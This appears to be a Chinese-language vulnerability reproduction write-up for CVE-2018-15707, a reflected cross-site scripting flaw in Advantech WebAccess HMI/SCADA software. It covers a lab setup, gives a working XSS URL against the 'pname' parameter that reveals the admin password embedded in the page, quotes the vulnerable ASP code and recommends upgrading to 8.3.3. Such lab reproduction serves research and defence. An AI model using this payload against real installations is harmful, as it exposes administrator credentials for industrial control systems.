Advantech WebAccess 跨站脚本漏洞:CVE-2018-15707 复现
Advantech WebAccess 是中国台湾研华(Advantech)公司的一套基于浏览器架构的 HMI/SCADA 软件,该软件支持动态图形显示和实时数据控制,并提供远程控制和管理自动化设备的功能。
Part1 漏洞状态
| 漏洞细节 | 漏洞 POC | 漏洞 EXP | 在野利用 |
| 有 | 有 | 有 | 无 |
Part2 漏洞描述
Advantech WebAccess 8.3.1 版本和 8.3.2 版本以及之前版本中由于未对' pname '参数进行验证或过滤导致 Bwmainleft.asp 页面存在跨站脚本漏洞,远程攻击者可利用该漏洞获取登录凭据。

| 漏洞名称 | Advantech WebAccess 跨站脚本漏洞 |
| CVE 编号 | CVE-2018-15707 |
| 漏洞类型 | 跨站脚本漏洞 |
| 漏洞等级 | 中危(5.4) |
| 公开状态 | 公开 |
| 时间线 | 2018.08.22 CVE 分配 2018.10.22 研华发布 WebAccess 8.3.3 修复漏洞 |
Part3 复现环境
1. 实验环境
渗透主机:Win10(192.168.33.1)
目标主机:winserver2008R2(192.168.33.139)
软件版本:Advantech WebAccess 8.2
2. 涉及工具
MozillaFirefox
3. 复现步骤
启动环境,目标主机启动,如下图:

攻击者通过渗透主机 Mozilla Firefox 访问如下 url,登录系统。
http://192.168.33.139/broadWeb/bwconfig.asp?username=admin
攻击者通过渗透主机 Mozilla Firefox 访问如下 url。
http://192.168.33.139/broadweb/bwmainleft.asp?pid=1&pname=%22 );alert(document.getElementsByTagName(%27script%27)[4].text);//

Part4 漏洞分析
通过分析代码发现在 broadweb/bwmainleft.asp 中存在一个反射型跨站脚本漏洞,因为'pname '参数没有被验证或过滤。此外,活动会话的凭据被写入 HTML 源代码中,可以由 JavaScript 客户端访问。
… snip …
pname = Request.QueryString("pname")
… snip …
username = session("UserName")
'get the password if admin
if username = "admin" then
sql = "SELECT * FROM pUserPassword WHERE UserName='" + username + "'"
else
sql = "SELECT * FROM pAdmin WHERE UserName='" + username + "'"
end if
dbTab.open sql,cfgConn,3,2,1
'get the password from database based on the user name, note that only admin can actually log into dashboard here
if not dbTab.eof then
set tWAObj = Server.CreateObject("webdobj.webdraw")
GetUserPwdField dbTab, tWAObj, UsrArr
'get the password from db
pwd = UsrArr(0)
%>
<script>
//Logon the webservice to use all other webservices
logOnWebService("<%=username%>", "<%=pwd%>");
readNodeStatus("<%=username%>", "<%=pwd%>","<%=pname%>");
</script>
… snip … Part5 修复建议
升级到研华 WebAccess 8.3.3 或更高版本。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!


发布评论